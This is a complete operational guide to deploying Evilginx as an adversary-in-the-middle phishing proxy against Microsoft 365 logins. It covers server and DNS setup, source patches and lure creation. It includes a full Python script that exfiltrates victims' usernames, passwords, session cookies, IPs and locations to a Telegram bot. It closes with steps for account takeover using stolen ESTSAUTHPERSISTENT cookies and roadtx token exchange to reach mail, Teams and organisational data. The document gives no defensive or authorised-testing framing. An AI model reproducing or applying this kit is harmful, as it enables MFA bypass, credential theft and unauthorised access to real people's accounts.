Evilginx Complete Setup Guide
0. What Is AitM Phishing
Traditional phishing sends a fake login page. The victim types credentials into a page you control. Problem: if MFA is enabled, the password alone is useless.
Adversary-in-the-Middle (AitM) runs a transparent reverse proxy. The victim's browser talks to your server, your server forwards everything to the real Microsoft login and relays responses back. The victim completes the real login including MFA, and you silently extract the session cookies from the traffic. Those cookies are what the browser uses after MFA. They work without MFA.
Evilginx implements AitM. It rewrites URLs in real time so all links in the Microsoft login page point to your domain. From the victim's perspective, everything looks like the real login. It IS the real login — proxied through you.
What Gets Captured
| Data | When | Value |
|---|---|---|
| Username (email) | Typed on login page | Identity of victim |
| Password | Typed on login page | Credential reuse on other services |
| ESTSAUTH | After successful login | Session token, expires on browser close |
| ESTSAUTHPERSISTENT | After successful login | Persistent — lasts days/weeks, opens ALL M365 services |
| SignInStateCookie | After successful login | Tracks MFA completion state |
ESTSAUTHPERSISTENT is the prize. It is issued by Microsoft Identity Provider at tenant level, not by any individual app. Import it into any browser, visit outlook.office.com — full inbox access. Not because you phished Outlook. Because the cookie works across all M365 services regardless of which app the victim logged into.
1. Prerequisites
| Item | Detail |
|---|---|
| VPS | Ubuntu 22.04 or 24.04. Root access. Clean install. Njalla for privacy. |
| Domain | Must be on Cloudflare. DNS API required for wildcard SSL cert issuance. |
| Cloudflare account | Free tier works. Zone must be active (nameservers pointing to Cloudflare). |
| Telegram bot | One bot per VPS. @BotFather on Telegram → /newbot → copy the token. |
| Your Telegram chat ID | Message @userinfobot on Telegram to get your numeric ID. |
| SSH key pair | Ed25519 preferred. Generate: ssh-keygen -t ed25519 -f ~/.ssh/keyname |
2. Architecture Decision
Two ways to route HTTPS traffic to evilginx. Pick one before you start.
Architecture A — Nginx SNI Passthrough (Recommended for Fresh VPS)
Nginx sits on port 443. It reads the SNI field from TLS handshakes without decrypting them, and forwards raw TCP to evilginx on port 8443. Evilginx handles TLS itself. No Docker needed.
Browser port 443 → nginx (SNI passthrough, raw TCP) → evilginx port 8443
Browser port 80 → nginx (HTTP → HTTPS redirect)
Architecture B — Traefik TCP Router (Existing Docker VPS)
If Docker and Traefik are already running (e.g. alongside Netlock RMM). Traefik TCP router does SNI passthrough to evilginx on port 8443.
Browser 443 → Traefik Docker TCP router (SNI passthrough) → host.docker.internal:8443 → evilginx
3. VPS First Boot — System Setup
First actions after SSH access:
apt-get update && apt-get upgrade -y
apt-get install -y git curl wget tmux net-tools unzip build-essential
# Check port 53 — evilginx needs it for its built-in DNS server
ss -tlnp | grep :53
If systemd-resolved is holding port 53 (default on Ubuntu):
echo "DNSStubListener=no" >> /etc/systemd/resolved.conf
systemctl restart systemd-resolved
ss -tlnp | grep :53 # should return nothing
4. Install Go (For Building from Source)
which go && go version # skip if already installed
wget https://go.dev/dl/go1.21.5.linux-amd64.tar.gz
tar -C /usr/local -xzf go1.21.5.linux-amd64.tar.gz
echo 'export PATH=$PATH:/usr/local/go/bin' >> /root/.bashrc
export PATH=$PATH:/usr/local/go/bin
go version
5. Cloudflare DNS Setup
Cloudflare dashboard → your domain → DNS → Records. Proxy must be OFF (grey cloud) for all records used by evilginx. Orange cloud means Cloudflare intercepts TLS, which breaks cert issuance.
Wildcard A Records — Recommended (confirmed on office-auth.com)
| Type | Name | Content | Proxy |
|---|---|---|---|
| A | @ | YOUR_VPS_IP | DNS only (grey) |
| A | * | YOUR_VPS_IP | DNS only (grey) |
The wildcard (*) covers all subdomains including login.yourdomain.com where evilginx serves the lure.
NS Delegation — Advanced (Architecture B with Traefik only)
| Type | Name | Content | Proxy |
|---|---|---|---|
| A | ns1.ms | YOUR_VPS_IP | DNS only (grey) |
| NS | ms | ns1.ms.yourdomain.com | N/A |
Delegates the ms.yourdomain.com zone to evilginx's built-in DNS server so it handles its own ACME DNS-01 challenge. Only needed for Architecture B.
6. Cloudflare API Token
Certbot needs this to create DNS TXT records during certificate validation. Cloudflare: Profile → API Tokens → Create Token → Edit zone DNS template → select your domain → Create Token. Copy immediately — shown once only.
echo "YOUR_CF_TOKEN_HERE" > /root/.cf_creds
chmod 600 /root/.cf_creds
wc -c /root/.cf_creds # should show 40+ chars
7. Wildcard SSL Certificate
Gets cert valid for yourdomain.com AND *.yourdomain.com. The DNS-01 challenge proves ownership via a Cloudflare TXT record — no HTTP server required during issuance.
apt-get install -y certbot python3-certbot-dns-cloudflare
TOKEN=$(cat /root/.cf_creds | tr -d '[:space:]')
echo "dns_cloudflare_api_token = $TOKEN" > /root/.cloudflare.ini
chmod 600 /root/.cloudflare.ini
certbot certonly \
--dns-cloudflare \
--dns-cloudflare-credentials /root/.cloudflare.ini \
-d yourdomain.com \
-d '*.yourdomain.com' \
--non-interactive --agree-tos \
-m admin@yourdomain.com
Success ends with: Successfully received certificate. Certs at:
/etc/letsencrypt/live/yourdomain.com/fullchain.pem
/etc/letsencrypt/live/yourdomain.com/privkey.pem
systemctl status certbot.timer # auto-renewal is enabled by certbot automatically
8. Nginx SNI Passthrough (Architecture A Only)
apt-get install -y nginx libnginx-mod-stream
Overwrite /etc/nginx/nginx.conf completely. Write it with Python to avoid shell variable interpolation issues:
python3 - <<'EOF'
cfg = """load_module /usr/lib/nginx/modules/ngx_stream_module.so;
user www-data;
worker_processes auto;
pid /run/nginx.pid;
events { worker_connections 1024; }
stream {
server {
listen 443;
proxy_pass 127.0.0.1:8443;
proxy_timeout 600s;
proxy_connect_timeout 10s;
}
}
http {
server {
listen 80;
return 301 https://$host$request_uri;
}
}
"""
open('/etc/nginx/nginx.conf','w').write(cfg)
print('written')
EOF
nginx -t && nginx
9. Get the Jan Bakker Evilginx Fork
The standard evilginx2 repo phishlets for Microsoft login fail. Microsoft changed redirect_uri allowlisting and the standard sub_filters miss the updated login page JS. Jan Bakker's fork has current sub_filters. Use this fork only.
cd /root
git clone https://github.com/jan-bakker/evilginx2 evilginx-bakker
cd evilginx-bakker
ls phishlets/ | grep o365 # confirm o365.yaml is present
10. The Three Source Patches
Three code changes required before building. All three are mandatory. Miss one and it fails in a non-obvious way.
Patch 1 — main.go: Port 443 to 8443
Why: Evilginx hardcodes port 443. Nginx already owns port 443. Evilginx cannot bind and fails with "address already in use". Moving evilginx to 8443 lets nginx forward the raw TLS stream to it. The browser still connects on 443 — the port shift is invisible.
grep -n "NewHttpProxy" main.go # find line number (~line 153)
Find this line:
hp, _ := core.NewHttpProxy("", 443, cfg, crt_db, db, bl, *developer_mode)
Change 443 to 8443:
hp, _ := core.NewHttpProxy("", 8443, cfg, crt_db, db, bl, *developer_mode)
Fast way with sed:
sed -i 's/core.NewHttpProxy("", 443,/core.NewHttpProxy("", 8443,/' main.go
grep "NewHttpProxy" main.go # verify
Patch 2 — core/certdb.go: DNS-01 ACME Challenge
Why: Evilginx's built-in ACME uses HTTP-01. HTTP-01 requires answering on port 80. Nginx owns port 80. The challenge fails silently with a 404. DNS-01 validates via a Cloudflare TXT record — no HTTP port needed. The lego DNS library and evilginx nameserver already have everything needed. It just needs wiring up.
Open core/certdb.go. In the imports block, add:
"github.com/go-acme/lego/v3/challenge/dns01"
After the existing HTTPChallenge struct, add this new struct:
type DNSChallenge struct {
crt_db *CertDb
}
func (ch DNSChallenge) Present(domain, token, keyAuth string) error {
fqdn, value := dns01.GetRecord(domain, keyAuth)
ch.crt_db.ns.AddTXT(fqdn, value, 120)
return nil
}
func (ch DNSChallenge) CleanUp(domain, token, keyAuth string) error {
ch.crt_db.ns.ClearTXT()
return nil
}
In the registerCertificate function, find:
d.client.Challenge.SetHTTP01Provider(d.httpChallenge)
Replace with:
d.client.Challenge.SetDNS01Provider(&DNSChallenge{crt_db: d})
Patch 3 — core/nameserver.go: Authoritative Answer Flag
Why: Evilginx's nameserver was missing the AA (Authoritative Answer) bit in DNS responses. Google DNS (8.8.8.8), when following the NS delegation to query evilginx's nameserver for the ACME TXT record, receives non-authoritative responses and returns SERVFAIL. The cert challenge fails. One line. Everything depends on it. This was the hardest patch to find — the SERVFAIL error gives no hint that the AA flag is the cause.
Open core/nameserver.go. Find handleRequest:
func (n *Nameserver) handleRequest(w dns.ResponseWriter, r *dns.Msg) {
m := new(dns.Msg)
m.SetReply(r)
Add m.Authoritative = true immediately after SetReply:
func (n *Nameserver) handleRequest(w dns.ResponseWriter, r *dns.Msg) {
m := new(dns.Msg)
m.SetReply(r)
m.Authoritative = true // critical — without this Google DNS returns SERVFAIL on ACME challenge
11. Build the Binary
export PATH=$PATH:/usr/local/go/bin
cd /root/evilginx-bakker
go build -mod=vendor -o bin/evilginx .
ls -lh bin/evilginx # ~13MB — no output = success
If module errors:
go mod tidy && go build -mod=vendor -o bin/evilginx .
12. Transfer Pre-Built Binary (Faster Alternative to Building)
If another VPS already has the patched binary, pipe it directly. Saves 20 minutes of build time.
# From Mac — pipe tar stream from old VPS to new VPS
ssh -i ~/.ssh/old_key root@OLD_IP "tar -czf - -C /root evilginx-bakker" | \
ssh -i ~/.ssh/new_key root@NEW_IP "tar -xzf - -C /root"
# Verify files arrived
ssh -i ~/.ssh/new_key root@NEW_IP \
"ls /root/evilginx-bakker/bin/evilginx /root/evilginx-bakker/phishlets/o365.yaml"
13. Place SSL Certs for Evilginx
Evilginx reads certs from its own directory — NOT from /etc/letsencrypt. Path format: /root/.evilginx/crt/{base_domain}/{phishlet}.crt and .key.
mkdir -p /root/.evilginx/crt/yourdomain.com
cp /etc/letsencrypt/live/yourdomain.com/fullchain.pem \
/root/.evilginx/crt/yourdomain.com/o365.crt
cp /etc/letsencrypt/live/yourdomain.com/privkey.pem \
/root/.evilginx/crt/yourdomain.com/o365.key
ls -la /root/.evilginx/crt/yourdomain.com/
14. Start and Configure Evilginx
Always run in tmux. Evilginx needs an interactive console for initial setup.
tmux new -s evil
cd /root/evilginx-bakker
./bin/evilginx -p ./phishlets
Wait for the : > prompt. Then configure:
config domain yourdomain.com
config ip YOUR_VPS_IP
phishlets hostname o365 yourdomain.com
phishlets enable o365
lures create o365
lures get-url 0
Output: https://login.yourdomain.com/XXXXXXXX — that is your phishing link.
Key Console Commands
sessions # list all captured sessions
sessions 5 # full details of session #5 — shows cookie values
lures # list all lures
lures get-url 0 # get URL for lure #0
blacklist unban all # unban your own IP when testing
phishlets # phishlet status
help # full command list
Detach From tmux Without Stopping Evilginx
Ctrl+B then D # detach — evilginx keeps running in background
tmux attach -t evil # reattach later
15. Traefik Config (Architecture B Only)
Create /home/netlock/traefik-dynamic/evilginx.yml. Traefik picks up dynamic config files automatically — no restart needed. Write with Python to avoid shell backtick issues in the HostSNI rule:
python3 - <<'EOF'
cfg = """tcp:
routers:
evilginx:
rule: "HostSNI(`*.yourdomain.com`)"
service: evilginx-svc
tls:
passthrough: true
entryPoints:
- websecure
services:
evilginx-svc:
loadBalancer:
servers:
- address: "host.docker.internal:8443"
"""
open('/home/netlock/traefik-dynamic/evilginx.yml','w').write(cfg)
print('written')
EOF
16. Install PM2
apt-get install -y nodejs npm
npm install -g pm2
Evilginx runs in tmux (it needs an interactive console). PM2 is for the Python notify script and all other background services.
17. Telegram Notify Script — Full Code
Save as /root/evilginx_notify.py. Polls evilginx data.db every 20 seconds. Sends three messages per victim: VISITOR on page load, CAPTURE on cred/cookie extraction, and a JSON file with all cookie values (no size limit, no truncation).
import time, json, re, os, urllib.request, datetime
TG_TOKEN = "YOUR_BOT_TOKEN"
CHAT_ID = 123456789
DB_PATH = "/root/.evilginx/data.db"
SEEN_FILE = "/root/.evilginx_notify_seen"
POLL_SEC = 20
def tg_send(text):
data = json.dumps({"chat_id": CHAT_ID, "text": text, "parse_mode": "HTML"}).encode()
req = urllib.request.Request(
"https://api.telegram.org/bot" + TG_TOKEN + "/sendMessage",
data=data, headers={"Content-Type": "application/json"})
try: urllib.request.urlopen(req, timeout=10)
except Exception as e: print("[tg]", e)
def tg_send_file(filename, content, caption=""):
b = "----FormBoundary"
fb = content.encode("utf-8")
body = (
"--"+b+"\r\nContent-Disposition: form-data; name=\"chat_id\"\r\n\r\n"+
str(CHAT_ID)+"\r\n--"+b+"\r\n"
"Content-Disposition: form-data; name=\"document\"; filename=\""+filename+"\"\r\n"
"Content-Type: application/json\r\n\r\n"
).encode() + fb + (
"\r\n--"+b+"\r\nContent-Disposition: form-data; name=\"caption\"\r\n\r\n"+
caption+"\r\n--"+b+"--\r\n"
).encode()
req = urllib.request.Request(
"https://api.telegram.org/bot"+TG_TOKEN+"/sendDocument",
data=body, headers={"Content-Type": "multipart/form-data; boundary="+b})
try: urllib.request.urlopen(req, timeout=15)
except Exception as e: print("[file]", e)
def geo(ip):
ip = ip.split(":")[0]
if not ip or ip.startswith(("127.","192.168.","10.","172.")): return "Internal"
try:
r = urllib.request.urlopen("http://ip-api.com/json/"+ip+"?fields=country,city,isp",timeout=5)
d = json.loads(r.read())
return d.get("city","?")+", "+d.get("country","?")+" | "+d.get("isp","?")
except: return "Unknown"
def device(ua):
ua = ua or ""
if "Windows NT 10.0" in ua: o = "Windows 10/11"
elif "iPhone" in ua:
m = re.search(r"iPhone OS ([\d_]+)", ua)
o = "iPhone iOS "+(m.group(1).replace("_",".") if m else "")
elif "Android" in ua:
m = re.search(r"Android ([\d.]+)", ua)
o = "Android "+(m.group(1) if m else "")
elif "Macintosh" in ua: o = "macOS"
else: o = "Unknown OS"
if "Edg/" in ua: b = "Edge"
elif "Chrome/" in ua:
m = re.search(r"Chrome/([\d]+)", ua)
b = "Chrome "+(m.group(1) if m else "")
elif "Firefox/" in ua:
m = re.search(r"Firefox/([\d]+)", ua)
b = "Firefox "+(m.group(1) if m else "")
elif "Safari/" in ua and "Chrome" not in ua: b = "Safari"
else: b = "Unknown"
return o+" / "+b
def cookie_count(t):
return sum(len(c) for c in t.values() if isinstance(c,dict)) if isinstance(t,dict) else 0
def ests_keys(t):
return [n for dom,c in (t or {}).items() if isinstance(c,dict) for n in c if "ESTSAUTH" in n.upper()]
def load_seen():
return set(open(SEEN_FILE).read().split()) if os.path.exists(SEEN_FILE) else set()
def save_seen(s): open(SEEN_FILE,"w").write("\n".join(s))
def parse_db():
try:
raw = open(DB_PATH,"r",errors="replace").read()
pat = re.compile(r'\{"id":\d+,"phishlet":"[^"]+".*?"update_time":\d+\}')
sessions = {}
for m in pat.finditer(raw):
try:
d = json.loads(m.group())
sid = d["id"]
if sid not in sessions or d.get("update_time",0) > sessions[sid].get("update_time",0):
sessions[sid] = d
except: pass
return sessions
except Exception as e: print("[db]",e); return {}
def wat():
return (datetime.datetime.utcnow()+datetime.timedelta(hours=1)).strftime("%Y-%m-%d %H:%M WAT")
seen = load_seen()
print("[notify] started")
while True:
try:
changed = False
for sid, s in parse_db().items():
ss = str(sid)
user,pw = s.get("username",""), s.get("password","")
tokens = s.get("tokens",{})
ip,ua,url = s.get("remote_addr",""),s.get("useragent",""),s.get("landing_url","")
if "v"+ss not in seen:
tg_send("VISITOR\nSession #"+ss+
"\nIP: "+ip+"\nLocation: "+geo(ip)+"\nDevice: "+device(ua)+
"\nLure: "+url+"\nTime: "+wat())
seen.add("v"+ss); changed = True
if (user or tokens) and "c"+ss not in seen:
ek = ", ".join(ests_keys(tokens)) or "none"
tg_send("CAPTURE\nSession #"+ss+
"\nUser: "+(user or "(none)")+"\nPass: "+(pw or "(none)")+
"\nIP: "+ip+"\nLocation: "+geo(ip)+"\nDevice: "+device(ua)+
"\nCookies: "+str(cookie_count(tokens))+" captured\nESTS: "+ek+"\nTime: "+wat())
seen.add("c"+ss); changed = True
if tokens:
tg_send_file("session_"+ss+"_cookies.json",
json.dumps({"username":user,"password":pw,"cookies":tokens},indent=2),
"Session #"+ss+" — "+(user or "unknown"))
if changed: save_seen(seen)
except Exception as e: print("[loop]",e)
time.sleep(POLL_SEC)
pm2 start /root/evilginx_notify.py --name evilginx-notify --interpreter python3
pm2 save
pm2 startup # run the output command to enable auto-start on reboot
# Reset seen file — re-fires all alerts (for testing only)
rm /root/.evilginx_notify_seen && pm2 restart evilginx-notify
18. Verify the Full Stack
# All ports in place
ss -tlnp | grep ':443\|:8443\|:80\|:53'
# Expected: port 443 nginx (or traefik), port 8443 evilginx, port 53 evilginx DNS
# PM2 services running
pm2 ls
# Lure responds with redirect to Microsoft
curl -sk https://login.yourdomain.com/YOUR_LURE_PATH -o /dev/null -w '%{http_code}\n'
# Expected: 302
# Telegram bot alive
python3 -c "
import urllib.request, json
data = json.dumps({'chat_id': YOUR_CHAT_ID, 'text': 'test ok'}).encode()
req = urllib.request.Request('https://api.telegram.org/botYOUR_TOKEN/sendMessage',
data=data, headers={'Content-Type': 'application/json'})
print(urllib.request.urlopen(req).read().decode()[:80])
"
19. Using Captures — Session Takeover
Method 1 — Cookie-Editor (Browser, Fastest)
Install Cookie-Editor extension (Chrome or Firefox). Open the JSON file from Telegram. Find ESTSAUTHPERSISTENT value (~800 chars). Open Cookie-Editor on outlook.office.com. Add cookie: name=ESTSAUTHPERSISTENT, value=the long string, domain=.login.microsoftonline.com, path=/. Refresh the page. Full inbox access without any login.
Method 2 — roadtx FOCI Chain (API Access)
FOCI (Family of Client IDs): a Microsoft refresh token for one app can be exchanged for an access token for any other Microsoft app in the same family. No re-authentication. No MFA prompt. The victim logged into the o365 lure. The FOCI chain extends that token to Teams, SharePoint, OneDrive, and any other M365 app.
pip install roadtx
# Authenticate using captured refresh token
roadtx auth -c d3590ed6-52b3-4102-aeff-aad2292ab01c \
-r https://graph.microsoft.com \
--refresh-token CAPTURED_REFRESH_TOKEN
# Exchange for Teams access token
roadtx gettokens --refresh-token REFRESH_TOKEN \
-c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 \
-r https://graph.microsoft.com
# Call Graph API — returns victim profile + org data
curl -H "Authorization: Bearer ACCESS_TOKEN" \
https://graph.microsoft.com/v1.0/me
# Enumerate organization
curl -H "Authorization: Bearer ACCESS_TOKEN" \
https://graph.microsoft.com/v1.0/organization
20. Key Files Reference
| File | Purpose |
|---|---|
| /root/evilginx-bakker/bin/evilginx | The binary |
| /root/evilginx-bakker/phishlets/o365.yaml | Microsoft o365 phishlet |
| /root/.evilginx/config.yaml | Evilginx runtime config (domain, IP, phishlet settings) |
| /root/.evilginx/data.db | BoltDB — all captured sessions live here |
| /root/.evilginx/crt/domain/ | SSL certs evilginx reads at startup |
| /root/.evilginx_notify_seen | Seen file — prevents duplicate alerts. Delete to re-fire all. |
| /root/evilginx_notify.py | Telegram notify script |
| /root/.cf_creds | Cloudflare API token (raw, chmod 600) |
| /root/.cloudflare.ini | Certbot Cloudflare credentials file |
| /etc/letsencrypt/live/domain/ | Certbot certs — copy fullchain.pem and privkey.pem to evilginx crt dir |
| /etc/nginx/nginx.conf | Nginx SNI passthrough config (Architecture A) |